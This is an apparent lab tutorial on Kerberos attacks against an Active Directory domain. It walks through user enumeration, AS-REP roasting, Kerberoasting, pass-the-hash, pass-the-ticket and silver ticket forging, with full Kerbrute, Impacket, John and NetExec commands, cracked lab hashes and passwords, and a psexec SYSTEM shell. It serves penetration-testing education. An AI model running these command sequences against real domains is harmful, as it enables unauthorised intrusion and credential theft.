Introduction:
In previous articles, we discussed the Kerberos Authentication Protocol, which is crucial for understanding Active Directory environments. Additionally, we covered the theory behind some common attacks that exploit these concepts.
Today, we'll explore the exploitation of an AD environment, demonstrating how to carry out these attacks and apply the Kerberos Authentication Protocol in real-world exploitation scenarios.
Attacks
Today, we'll cover the exploitation of the most common attacks:
- Kerberos Bruteforce (User Enumeration)
- ASREP Roasting
- Kerberoasting
- OverpassTheHash/Pass The Key
- PassTheTicket
- Silver Ticket
- Golden Ticket
The attacks are categorized based on the required privilege level, starting with the lowest. As such, the initial attacks only require network access to the DC (Domain Controller), which, in the case of Active Directory (AD), also functions as the KDC (Key Distribution Center). In contrast, the final attack necessitates Domain Administrator privileges or equivalent.
Note
Before continuing, I strongly recommend reading the previous article in which we introduced Kerberos, as it is essential for understanding the underlying processes behind these attacks.
Note (Execution from Windows)
In this section, we'll explain how the attacks work behind the scenes and how to exploit them remotely, i.e., through Linux. These attacks can also be exploited on Windows, which is why I've created a separate section of this article where we replicate these attacks. However, I highly recommend reading this section first, as in the Windows section, I focus only on the exploitation demonstration and do not explain how the attack works.
Kerberos Brute Force (User Enumeration)
Initially, we'll demonstrate how to carry out the Kerberos brute force attack. This attack involves sending authentication requests with guessed usernames and analyzing the responses, as Kerberos returns different error messages for valid and invalid usernames.
Remember the process we discussed earlier regarding the actions the AS performs before sending a KRB_AS_REP
. When receiving a KRB_AS_REQ
, we explained that the AS first verifies whether the specified user exists. If the user does not exist, the KDC_ERR_C_PRINCIPAL_UNKNOWN
message is returned.
This message is very useful to us, as it indicates whether the specified user exists or not, which is valuable for subsequent attacks.
Abuse
First, we need a list of usernames. We will use this list to iterate through each user and request a TGT for that user. If the KDC
responds with KDC_ERR_C_PRINCIPAL_UNKNOWN
, it means the user does not exist. However, if the KDC
replies with KDC_ERR_PREAUTH_FAILED
, it indicates that the user is valid but the credentials are incorrect, which is useful because it confirms the user exists.
Of course, performing this process manually can be tedious and time-consuming. Fortunately, there are many tools that automate this task. In this case, I’ll use Kerbrute, which is widely considered the most popular and effective tool for this purpose.
Instalation:
The installation of this tool is straightforward. There is a release binary available, but it is outdated. Therefore, the best way to install this tool is by cloning the repository.
git clone https://github.com/ropnop/kerbrute
cd kerbrute
go build -ldflags "-s -w" .
Now, you can simply copy the compiled binary to a directory in the PATH, allowing you to execute it from anywhere.
elswix@ubuntu$ kerbrute
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
...[snip]...
Usage:
kerbrute [command]
Available Commands:
bruteforce Bruteforce username:password combos, from a file or stdin
bruteuser Bruteforce a single user's password from a wordlist
help Help about any command
passwordspray Test a single password against a list of users
userenum Enumerate valid domain usernames via Kerberos
version Display version info and quit
...[snip]...
Use "kerbrute [command] --help" for more information about a command.
The usage is straightforward. It offers several modes that can be helpful in different scenarios. In this case, we want to enumerate valid users by providing a wordlist, so we will use the userenum
module.
Next, we need to provide the following three parameters:
--dc
: The IP address of the KDC (in my lab, it is192.168.100.1
)-d
: The domain (in my lab, it iselswixcorp.local
)usersfile
: The wordlist containing the usernames to test. I will use this names list from Seclists to execute the attack.
With this information, we can now run Kerbrute
:
elswix@ubuntu$ kerbrute userenum --dc 192.168.100.1 -d elswixcorp.local /opt/seclists/Usernames/Names/names.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 12/17/24 - Ronnie Flathers @ropnop
2024/12/17 15:22:14 > Using KDC(s):
2024/12/17 15:22:14 > 192.168.100.1:88
2024/12/17 15:22:14 > [+] VALID USERNAME: arthur@elswixcorp.local
2024/12/17 15:22:15 > [+] VALID USERNAME: ellie@elswixcorp.local
2024/12/17 15:22:16 > [+] VALID USERNAME: jack@elswixcorp.local
2024/12/17 15:22:16 > [+] VALID USERNAME: joaquin@elswixcorp.local
2024/12/17 15:22:16 > [+] VALID USERNAME: joel@elswixcorp.local
2024/12/17 15:22:16 > [+] VALID USERNAME: john@elswixcorp.local
2024/12/17 15:22:18 > [+] VALID USERNAME: peter@elswixcorp.local
2024/12/17 15:22:23 > Done! Tested 10177 usernames (7 valid) in 8.926 seconds
As observed, it detected seven valid users. This information is valuable for the following attack.
AS-REP Roasting
In the previous article, we introduced this attack. However, let’s briefly revisit what it involves.
This attack targets users who do not have Kerberos pre-authentication enabled, meaning their account has the UF_DONT_REQUIRE_PREAUTH
attribute set.
When an AS-REQ is sent for such a user, the KDC responds with a KRB_AS_REP
, which contains the user’s encrypted data (a structure that includes the first Session Key). This data is encrypted using the user’s NT hash and can be brute-forced offline using a large password list to recover the hash—and potentially the password. Essentially, the attacker attempts to decrypt the structure containing the Session Key
. If successful, this indicates that the correct user password has been obtained.
An account with the UF_DONT_REQUIRE_PREAUTH
attribute set means that pre-authentication information is not required to obtain a TGT for that account.
As mentioned in the previous article, when sending a KRB_AS_REQ
message to the KDC (the first step in the Kerberos Authentication Process), you must provide a structure containing a timestamp encrypted with the NT hash (user key) of the account:
Then, when the KDC receives this message, it looks for the corresponding NT hash of the specified username
and attempts to decrypt the timestamp using that hash. If the decryption is successful, it means the timestamp was encrypted with the correct hash, i.e., with valid credentials for that user.
The UF_DONT_REQUIRE_PREAUTH
attribute allows a KRB_AS_REQ
message to be sent for an account with this attribute set, without the need to provide pre-authentication information (i.e., without an encrypted timestamp):
Finally, the KDC issues a TGT without verifying whether the client requesting the TGT knows the credentials for the specified user.
Finally, the client (who receives the
KRB_AS_REP
message) may attempt to crack the structure containing the session key, which is encrypted with the User Key (the user's NT hash). This can be done through a dictionary attack using tools such as John the Ripper or Hashcat.Why not try to reuse the TGT instead? Well, this isn't possible. Remember that to request a Service Ticket, you must send a KRB_TGS_REQ
with a structure encrypted with the session key. Without having the user key beforehand, you cannot decrypt the structure containing the session key, which means you can't use that TGT.
Abuse
In order to execute this attack, valid credentials are not required, because, as explained above, pre-authentication information is not needed to obtain a TGT. However, you do need a list of valid users within the domain. You must then create a KRB_AS_REQ
message for each user and send it to the KDC. If any of the requests result in a KRB_AS_REP
reply, this indicates that the user specified in the KRB_AS_REQ
has the UF_DONT_REQ_PREAUTH
attribute set. This allows us to exploit an AS-REP Roasting attack by attempting to decrypt the structure in the KRB_AS_REP
that contains the session key.
Thanks to the previous attack, the Kerberos Brute Force attack, we have obtained a list of valid users within the Active Directory. Now, we can use this list to perform an AS-REP Roasting attack:
arthur
ellie
jack
joaquin
joel
john
peter
I will save these usernames to a file named users.txt
.
To automate the process for each user, we can use the GetNPUsers.py
script from the Impacket suite. You can install Impacket
via pip
from PyPI:
elswix@ubuntu$ pip install impacket
Now, let's execute GetNPUsers.py
:
elswix@ubuntu$ GetNPUsers.py elswixcorp.local/ -no-pass -usersfile users.txt
Impacket v0.13.0.dev0+20241024.85237.db71504 - Copyright Fortra, LLC and its affiliated companies
[-] User arthur doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ellie doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jack doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User joaquin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User joel doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User john doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$peter@ELSWIXCORP.LOCAL:3a20578cd7031d33115de2644edb73fc$e86d4cbf834f517bb5f234531699a2a6146ccbe8bf5f20e8f2bcd08d1b002ab4d78bd6ad1f8a83d81a3e8dd0c7596f158dea5d9d26cc3aebe8b6fcb73222d395569ebd8ef64b30ca94a8988093013380b9f18e5d68f6ca0dc63edc50c343fc7d3ff4262d1b627befaa0f4292f020c9bf022e085832ed4fd8f5f55099ceb2cb0e3b823b1f6531d9f5345326b0bf9002f5fb050c631b0dd270f1c3a571a845cfc59d2f0f512a24e3913cce9cda1e05b73c98287e944b1f3888e6ebbab2c3e0575caec8b79b8364a2537746f2e22084fa9725abefaa9c3a1dfed7643b360c81148d49193123e723e2f2fb31bdf926eb91e151b56952
s observed, one of the users in the list has the UF_DONT_REQUIRE_PREAUTH
attribute set. This allowed us to send a KRB_AS_REQ
message to the KDC for the user peter
, which responded with a KRB_AS_REP
containing the TGT and the encrypted session key.
Fortunately, the output we received from the KRB_AS_REP
for peter
is already in a format compatible with john
for cracking.
$krb5asrep$23$peter@ELSWIXCORP.LOCAL:3a20578cd7031d33115de2644edb73fc$e86d4cbf834f517bb5f234531699a2a6146ccbe8bf5f20e8f2bcd08d1b002ab4d78bd6ad1f8a83d81a3e8dd0c7596f158dea5d9d26cc3aebe8b6fcb73222d395569ebd8ef64b30ca94a8988093013380b9f18e5d68f6ca0dc63edc50c343fc7d3ff4262d1b627befaa0f4292f020c9bf022e085832ed4fd8f5f55099ceb2cb0e3b823b1f6531d9f5345326b0bf9002f5fb050c631b0dd270f1c3a571a845cfc59d2f0f512a24e3913cce9cda1e05b73c98287e944b1f3888e6ebbab2c3e0575caec8b79b8364a2537746f2e22084fa9725abefaa9c3a1dfed7643b360c81148d49193123e723e2f2fb31bdf926eb91e151b56952
This hash is essentially an encrypted structure containing the Session Key. Next, we will attempt to decrypt or crack it to retrieve the user's password.
To crack this hash, I will use rockyou.txt
as the password list. Let's proceed with the cracking process:
elswix@ubuntu$ john -w:/opt/seclists/Passwords/Leaked-Databases/rockyou.txt hashfile
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Cost 1 (etype) is 23 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
cr4ckthis4n!c% ($krb5asrep$23$peter@ELSWIXCORP.LOCAL)
1g 0:00:00:12 DONE (2024-12-19 19:23) 0.07794g/s 696766p/s 696766c/s 696766C/s cr8luv..cr31591
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
It worked! We successfully cracked the hash and retrieved Peter's password.
Next, we can use NetExec to verify the correctness of this password:
elswix@ubuntu$ nxc smb 192.168.100.1 -u 'peter' -p 'cr4ckthis4n!c%'
SMB 192.168.100.1 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:elswixcorp.local) (signing:True) (SMBv1:False)
SMB 192.168.100.1 445 DC01 [+] elswixcorp.local\peter:cr4ckthis4n!c%
And, of course, it's correct.
Note
This attack worked because we are in a deliberately vulnerable lab. While this scenario could occur in the real world, a user with the UF_DONT_REQUIRE_PREAUTH
attribute set doesn't necessarily mean that their password can be cracked. Users tend to use strong passwords, and even if the password is not very strong, it may not be included in any of the password lists you use to crack them.
You can also exploit this attack while performing the Kerberos Brute Force attack, since kerbrute
also returns the encrypted session key if a KRB_AS_REP
message is returned:
elswix@ubuntu$ kerbrute userenum --dc 192.168.100.1 -d elswixcorp.local /opt/seclists/Usernames/Names/names.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 12/19/24 - Ronnie Flathers @ropnop
2024/12/19 20:01:57 > Using KDC(s):
2024/12/19 20:01:57 > 192.168.100.1:88
2024/12/19 20:01:57 > [+] VALID USERNAME: arthur@elswixcorp.local
2024/12/19 20:01:58 > [+] VALID USERNAME: ellie@elswixcorp.local
2024/12/19 20:01:59 > [+] VALID USERNAME: jack@elswixcorp.local
2024/12/19 20:01:59 > [+] VALID USERNAME: joaquin@elswixcorp.local
2024/12/19 20:01:59 > [+] VALID USERNAME: joel@elswixcorp.local
2024/12/19 20:01:59 > [+] VALID USERNAME: john@elswixcorp.local
2024/12/19 20:02:00 > [+] peter has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$peter@ELSWIXCORP.LOCAL:db97b9080ba8c23d6649ed0429dd6a7c$6160e932659d104396d9f2b22ff7e3dbb10f4d907e98e84f5664585997b6afc54754c4329c996951dc815d663b3e063bfbebbf9d0a3d0528e476d52d62dfc4a532a31f51f5aec55ed92f27ac4f8729716f41d639191417d92963d92099bb82194bfd06efc6a06f9d534b3c5e1588b781027c8fd2e5e1088596414513f12a4806354e9aaccd767e10085ba8538754d2f72723426f023af86f90e6f38f7017e16b781bf42e6b8e53826e9116d03a1e19a82cfb92f6e6b03eabc1ae992a7db8b05e879e8c33ba99812f016c4dbc9c8246df08a37953c3162dc9c223742513b0ea4e1a0b10a7ecedb6327d4aa8dd1f7a2b7d40f3ef20cf24a28300e633c92619cdb87a2fa1b23407a5c5
2024/12/19 20:02:00 > [+] VALID USERNAME: peter@elswixcorp.local
2024/12/19 20:02:01 > Done! Tested 10177 usernames (7 valid) in 4.074 seconds
As observed, it returns the hash in the same format as GetNPUsers.py
, so you can copy it and crack it using john
in the same way. This didn't work earlier because peter
didn't have the UF_DONT_REQ_PREAUTH
attribute set when I was explaining the Kerberos Brute Force attack.
Kerberoasting
This attack is similar to AS-REP Roasting, but instead of exploiting the KRB_AS_REP
response and the UF_DONT_REQUIRE_PREAUTH
attribute, it targets the KRB_TGS_REP
response.
When requesting a Service Ticket (ST) from the KDC, the user must send a valid TGT along with the SPN
of the desired service.
If the TGT is valid and the service exists, the KDC will issue the Service Ticket (ST) to the requesting user embedded in a
KRB_TGS_REP
message.Note
When explaining the KRB_TGS_REQ
message earlier, I forgot to mention that the SPN
is not necessarily the exact information included in the message to specify the service. It can actually be the sAMAccountName
. The field used is called sname
(Service Name) rather than SPN
. However, in practice, the SPN
is typically provided in the sname
field to specify the service.
To recap, the KRB_TGS_REP
contains a Service Ticket, which is encrypted using the Service Master Key (the NT hash of the service owner's account). This attack involves obtaining the Service Ticket and attempting to decrypt it via a password brute-force attack. If the decryption is successful, it indicates that the password for the service owner's account has been compromised.
However, exploiting this vulnerability is not straightforward. Typically, the owners of services are the machines on which these services run, and since computer passwords tend to be highly complex, attempting to crack them is usually ineffective. The same applies to the krbtgt
account, meaning the TGT (Ticket Granting Ticket) is also not susceptible to cracking through this method.
Kerberos can issue service tickets even if the service has no SPN
at all, but in this case, the service's sAMAccountName
must end with a $
. However, when this occurs, it’s difficult to determine with certainty whether the service’s password is defined by a human. Kerberoasting attacks typically target user accounts with at least one SPN
(Service Principal Name), as these are more likely to have human-defined passwords.
Note
Just in case you're not familiar, the sAMAccountName
is the legacy username associated with a user or service account in Active Directory. It is used primarily for backward compatibility with older systems that rely on the NETLOGON protocol. The sAMAccountName
must be unique within the domain and typically follows a simple format. For example, the sAMAccountName
of the built-in administrator account is administrator
.
Abuse
To execute this attack, valid credentials are required, as a TGT must be provided in the KRB_TGS_REQ
message.
For this demonstration, we will use the GetUserSPNs.py
script from the Impacket suite along with the credentials for the user peter
, which were obtained in the previous attack.
elswix@ubuntu$ GetUserSPNs.py elswixcorp.local/peter:'cr4ckthis4n!c%'
Impacket v0.13.0.dev0+20241024.85237.db71504 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ----- -------- -------------------------- --------- ----------
http/ellie ellie 2024-12-17 20:04:44.925164 <never>
As observed, when running the script, it indicates that ellie
is potentially vulnerable to Kerberoasting and can obtain a service ticket for that service. To retrieve the Service Ticket and subsequently crack it, we need to provide the -request
parameter:
elswix@ubuntu$ GetUserSPNs.py elswixcorp.local/peter:'cr4ckthis4n!c%' -request
Impacket v0.13.0.dev0+20241024.85237.db71504 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ----- -------- -------------------------- --------- ----------
http/ellie ellie 2024-12-20 00:04:52.772910 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*ellie$ELSWIXCORP.LOCAL$elswixcorp.local/ellie*$d2165b51ef5f747c7bf81e2a16ee11af$c049024e77197bfbb52ab5eea...[snip]...cb0bc60cc997
As observed, it is a very long hash, which is essentially the encrypted Service Ticket. Now, let's save it to a file and crack it using john
.
elswix@ubuntu$ john -w:/opt/seclists/Passwords/Leaked-Databases/rockyou.txt hashfile
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS-REP etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
~smelly_ell1e~ (?)
1g 0:00:00:02 DONE (2024-12-20 00:07) 0.4831g/s 1191Kp/s 1191Kc/s 1191KC/s ~~fabivo~~123..~gurls~
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Great! The hash was successfully cracked, and we obtained Ellie's password. Now, let's use NetExec
again to verify it:
elswix@ubuntu$ nxc smb 192.168.100.1 -u 'ellie' -p '~smelly_ell1e~'
SMB 192.168.100.1 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:elswixcorp.local) (signing:True) (SMBv1:False)
SMB 192.168.100.1 445 DC01 [+] elswixcorp.local\ellie:~smelly_ell1e~
Note
Once again, this attack was successful because we are working in a deliberately vulnerable lab environment. While this scenario could occur in the real world, an account with an SPN doesn’t necessarily mean its password can be cracked. Users often employ strong passwords, and even if the password isn’t very strong, it may not be included in any of the password lists you use for cracking.
Overpass The Hash/Pass The Key
Before diving into the Silver/Golden Ticket topic, let’s first cover the Overpass The Hash/Pass The Key technique.
As explained in the previous article, the Overpass The Hash attack allows an attacker to authenticate to Kerberos services without needing the user’s plaintext password. Instead, the attacker uses the NT hash (a cryptographic representation of the password) to request a TGT from the KDC. When the client sends a KRB_AS_REQ
message, it encrypts a Timestamp
field with the user's NT hash, proving possession of the credentials without transmitting the plaintext password. If the KDC can decrypt the timestamp using the stored NT hash, it issues a TGT.
In practice, this technique is always performed in conjunction with the KDC. Even if a plaintext password is provided, the tool requesting the TGT
will convert it into an NT hash (or another key type) to encrypt the timestamp.
Kerberos also supports other encryption keys, such as AES, for stronger security. The KRB_AS_REQ
message includes an EncryptionType (etype) field to specify which algorithm was used to encrypt the timestamp. The KDC uses this to select the appropriate key type (e.g., NT hash, AES128, or AES256) and attempts to decrypt the timestamp. If successful, and the timestamp is valid, a TGT is issued.
But when would you obtain these hashes instead of the plaintext password? As an attacker, you might gain access to an account with high or valuable privileges. If that account has sufficient rights to perform a DCSync attack (which we’ll cover in a future article), you can retrieve all user passwords in cryptographic formats, such as NT hashes or AES keys.
Once you have these hashes, you might attempt to crack them in order to recover the plaintext password. However, the password could be very strong or unique, making it difficult to crack, especially if it isn’t in your password list. This is where Kerberos comes in: even if you can't recover the plaintext password, you can still use these hashes to authenticate against the KDC during the KRB_AS_REQ stage, as previously explained.
Abuse
Well, this technique is not difficult to execute. Imagine we succeeded with a DCSync
attack and obtained the keys for every user. For example, for the administrator user:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0d3b023fde5f62a291b5fd1dbcdd352f:::
Administrator:aes256-cts-hmac-sha1-96:9734aeda304db0b0540ddd9c399e9fff88f9dd042e7a017733c0d4f66a63e8d3
Administrator:aes128-cts-hmac-sha1-96:142a294e633f4e74a608aba133c6845f
If you try to crack them, you'll notice it's impossible, at least with common password lists like rockyou.txt
. However, instead of cracking, you can use these hashes to authenticate. For example, let's use NetExec
to verify if these credentials are valid, and I'll provide the -H
parameter to specify the NT hash:
elswix@ubuntu$ nxc smb 192.168.100.1 -u 'administrator' -H '0d3b023fde5f62a291b5fd1dbcdd352f'
SMB 192.168.100.1 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:elswixcorp.local) (signing:True) (SMBv1:False)
SMB 192.168.100.1 445 DC01 [+] elswixcorp.local\administrator:0d3b023fde5f62a291b5fd1dbcdd352f (Pwn3d!)
As observed, the authentication was successful. We have successfully authenticated against the SMB service using the NT hash.
Impacket tools also allow you to perform Pass-the-Hash attacks. For example, we can use psexec.py
to obtain a shell, as we are authenticated as the administrator:
elswix@ubuntu$ psexec.py elswixcorp.local/administrator@192.168.100.1 -hashes :0d3b023fde5f62a291b5fd1dbcdd352f
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 192.168.100.1.....
[*] Found writable share ADMIN$
[*] Uploading file tyPktYXT.exe
[*] Opening SVCManager on 192.168.100.1.....
[*] Creating service dQwc on 192.168.100.1.....
[*] Starting service dQwc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32>
This is great! However, these demonstrations only involve the SMB service and NTLM authentication, which are useful, but now let's demonstrate how to use Kerberos authentication.
Pass The Ticket (PTT)
To use Kerberos authentication, tickets are essential, as they play a crucial role in the protocol. The Pass-the-Ticket technique involves requesting a ticket from the KDC and then using it for authentication instead of entering passwords.
For example, if we want to use psexec.py
to gain access to the system, the first step is to request a TGT from the KDC. This can be done using getTGT.py
.
elswix@ubuntu$ getTGT.py elswixcorp.local/administrator -hashes :0d3b023fde5f62a291b5fd1dbcdd352f
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in administrator.ccache
In short, getTGT.py
takes the requesting user and adds it to the KRB_AS_REQ
message. It then takes the hash we specified, and since it knows that when a hash is provided through -hashes
, it is an NT hash, it creates a timestamp, encrypts the timestamp using the provided hash, and specifies in the etype
field that the NT hash format (RC4
) was used. Then, you already know the process the KDC follows to decrypt the timestamp.
To avoid having to request a TGT or ST every time we want to communicate with a service or KDC, Kerberos allows us to store the TGT in ticket cache files (.ccache
), which can be reused as long as the TGT is valid.
Many tools, such as those in the Impacket suite, allow you to specify the -k
parameter, indicating that you want to use Kerberos authentication. The tool will then search for the ticket cache file, and you need to set its location in the KRB5CCNAME
environment variable. Since the getTGT.py
tool saved the ticket cache in the administrator.ccache
file, we can now export the KRB5CCNAME
variable to point to the location of this file.
elswix@ubuntu$ export KRB5CCNAME=administrator.ccache
Now, we can execute psexec.py
by simply specifying the -k
parameter and the FQDN: dc01.elswixcorp.local
.
elswix@ubuntu$ psexec.py dc01.elswixcorp.local -k
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on dc01.elswixcorp.local.....
[*] Found writable share ADMIN$
[*] Uploading file uKbQPLPE.exe
[*] Opening SVCManager on dc01.elswixcorp.local.....
[*] Creating service qIDD on dc01.elswixcorp.local.....
[*] Starting service qIDD.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
As observed, it successfully provided us with a shell on the domain controller.
This demonstration used Kerberos authentication, and psexec.py
performed several actions behind the scenes. First, after specifying the TGT, it requested a Service Ticket for the CIFS service, which is essentially the SMB service. Since the TGT was valid, the TGS issued a ST, which psexec.py
used to authenticate against the SMB service. Afterward, the tool uploaded a malicious binary to the ADMIN$
share and created a service to execute this binary, providing us with a shell on the remote system.
Note
Whenever you use Kerberos authentication, you must specify the FQDN
because it ensures proper name resolution in complex networks, avoids conflicts between servers with similar names, and helps validate the correct service principal. Kerberos relies on the FQDN
for generating accurate cryptographic keys and securing communication between clients and servers, protecting against attacks such as spoofing. Additionally, the FQDN
ensures that the client connects to the correct server within the intended domain, especially in multi-domain or distributed environments.
The structure of the FQDN
is typically as follows:
(dc hostname).(domain)
For example, if the DC hostname is dc01
and the domain is domain.local
, the FQDN
would be: dc01.domain.local
.
In the previous example, we used an NT hash. However, we can also perform a Pass-the-Key attack by providing the AES
key in the same manner as the NT hash. For example, let's try using the following aes256
key:
9734aeda304db0b0540ddd9c399e9fff88f9dd042e7a017733c0d4f66a63e8d3
Now, let's repeat the process we followed with getTGT.py
, but this time specifying the -aesKey
parameter:
elswix@ubuntu$ getTGT.py elswixcorp.local/administrator -aesKey 9734aeda304db0b0540ddd9c399e9fff88f9dd042e7a017733c0d4f66a63e8d3
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in administrator.ccache
Great! We successfully obtained a TGT and saved it to a ticket cache file. After that, the process is the same as in the previous demonstration.
Silver Ticket
In the previous article, we introduced the Silver and Golden Ticket attacks. Now, let's delve into these concepts, starting with how the Silver Ticket works.
A Silver Ticket attack allows an attacker to forge a Service Ticket (ST) to access specific services within an Active Directory environment without interacting with the Key Distribution Center (KDC). This is particularly dangerous because it bypasses certain authentication checks and focuses on compromising individual service accounts rather than the entire domain.
To execute a Silver Ticket attack, the attacker needs to obtain the service account’s NT hash or AES key, which is derived from the credentials of the service account owner. With this hash, the attacker can create a fake Service Ticket (ST), granting unauthorized access to the targeted service. Notably, this attack avoids direct communication with the KDC, reducing the likelihood of detection.
As we explained in the previous article, when a client needs access to a service, it typically sends a KRB_TGS_REQ
message to the KDC to request a Service Ticket. This ticket, which allows the client to authenticate with the service, is encrypted using the Service Master Key—essentially, the service owner’s NT hash or AES key. This encryption ensures that the ticket cannot be altered by unauthorized users.
However, this mechanism has a significant vulnerability: if the service account's password is weak, an attacker may crack the ticket's encryption to uncover the NT hash or AES key. Once they have these credentials, the attacker can forge a malicious Service Ticket containing a manipulated Privilege Attribute Certificate (PAC) to escalate their privileges within the targeted service.
However, a limitation of this attack lies in the PAC, a component of Kerberos tickets that contains user authorization data. Without the krbtgt key, the attacker cannot sign the PAC correctly. If the targeted service verifies the PAC against the KDC, the attack will fail. Fortunately for us, this is not common.
Abuse
For this demonstration, I configured an SQL Server running under the ellie
user account. This means that ellie
is the owner of this service, and her master key will be used to sign the Service Tickets (STs) for this service. Since we previously obtained her password, we can forge Service Tickets to impersonate high-privilege users, such as administrator
, who has elevated access to the SQL service.
Requirements for This Attack:
- Service Master Key: The NT hash or AES key of the service owner.
- Service Principal Name (SPN): The identifier of the service.
- Domain SID: The Security Identifier for the domain.
- Target User: The account we want to impersonate for this service.
To demonstrate, I added an SPN to the ellie
account that identifies the SQL service:
elswix@ubuntu$ GetUserSPNs.py elswixcorp.local/peter:'cr4ckthis4n!c%'
Impacket v0.13.0.dev0+20241024.85237.db71504 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------- ----- -------- -------------------------- -------------------------- ----------
MSSQLSvc/dc01.elswixcorp.local:1433 ellie 2024-12-20 00:04:52.772910 2024-12-21 16:02:27.886209
http/ellie ellie 2024-12-20 00:04:52.772910 2024-12-21 16:02:27.886209
As observed, the ellie
account now has the MSSQLSvc/dc01.elswixcorp.local:1433
SPN assigned.
Note
I added MSSQLSvc/dc01.elswixcorp.local:1433
as the SPN because it is "the provider-generated, default SPN when TCP is used," as stated by Microsoft's documentation.
Next, we need the Domain SID, a unique identifier assigned to a domain in a Windows Active Directory environment. The Domain SID is used to distinguish the domain and its associated objects (such as users, groups, and computers) across the network.
To retrieve the Domain SID, we can utilize lookupsid.py
from the Impacket suite:
elswix@ubuntu$ lookupsid.py elswixcorp.local/ellie:'~smelly_ell1e~'@192.168.100.1 -domain-sids | grep SID
[*] Brute forcing SIDs at 192.168.100.1
[*] Domain SID is: S-1-5-21-1672168468-2738507895-2086515240
The Domain SID is: S-1-5-21-1672168468-2738507895-2086515240
.
Next, we need the Service Master Key. Although we previously obtained Ellie’s password (~smelly_ell1e~
), the plain-text password is not directly useful for forging Service Tickets. As we’ve discussed, STs are signed using cryptographic representations like the NT hash or AES keys.
To generate the NT hash from the password, I used CyberChef. The resulting NT hash is:
96A44FFBF8BB1958B54D4D04C9C14F95
Now, we can use ticketer.py
to create a malicious Service Ticket. For this demonstration, I will impersonate the administrator
user by specifying it as the target:
elswix@ubuntu$ ticketer.py -spn 'MSSQLSvc/dc01.elswixcorp.local' -nthash 96A44FFBF8BB1958B54D4D04C9C14F95 -domain elswixcorp.local -domain-sid S-1-5-21-1672168468-2738507895-2086515240 administrator
Impacket v0.13.0.dev0+20241024.85237.db71504 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for elswixcorp.local/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in administrator.ccache
As observed, the tool successfully created a Service Ticket and saved it to the Ticket Cache file administrator.ccache
. Next, as we did earlier, let's export the KRB5CCNAME
variable:
export KRB5CCNAME=administrator.ccache
Note
The value of the KRB5CCNAME
variable represents the location of the ccache
file. If you export it using a relative path, as shown above, ensure you do not change directories afterward, as this would break the reference. Alternatively, you can specify an absolute path to avoid this issue.
Finally, let's connect to the SQL Server using mssqlclient.py
. We’ll provide the -k
parameter to enforce Kerberos authentication, allowing the tool to retrieve the Service Ticket from the specified Ticket Cache file set in the KRB5CCNAME
variable:
elswix@ubuntu$ mssqlclient.py dc01.elswixcorp.local -k
Impacket v0.13.0.dev0+20241024.85237.db71504 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(dc01): Line 1: Changed database context to 'master'.
[*] INFO(dc01): Line 1: Changed language setting to us_english.
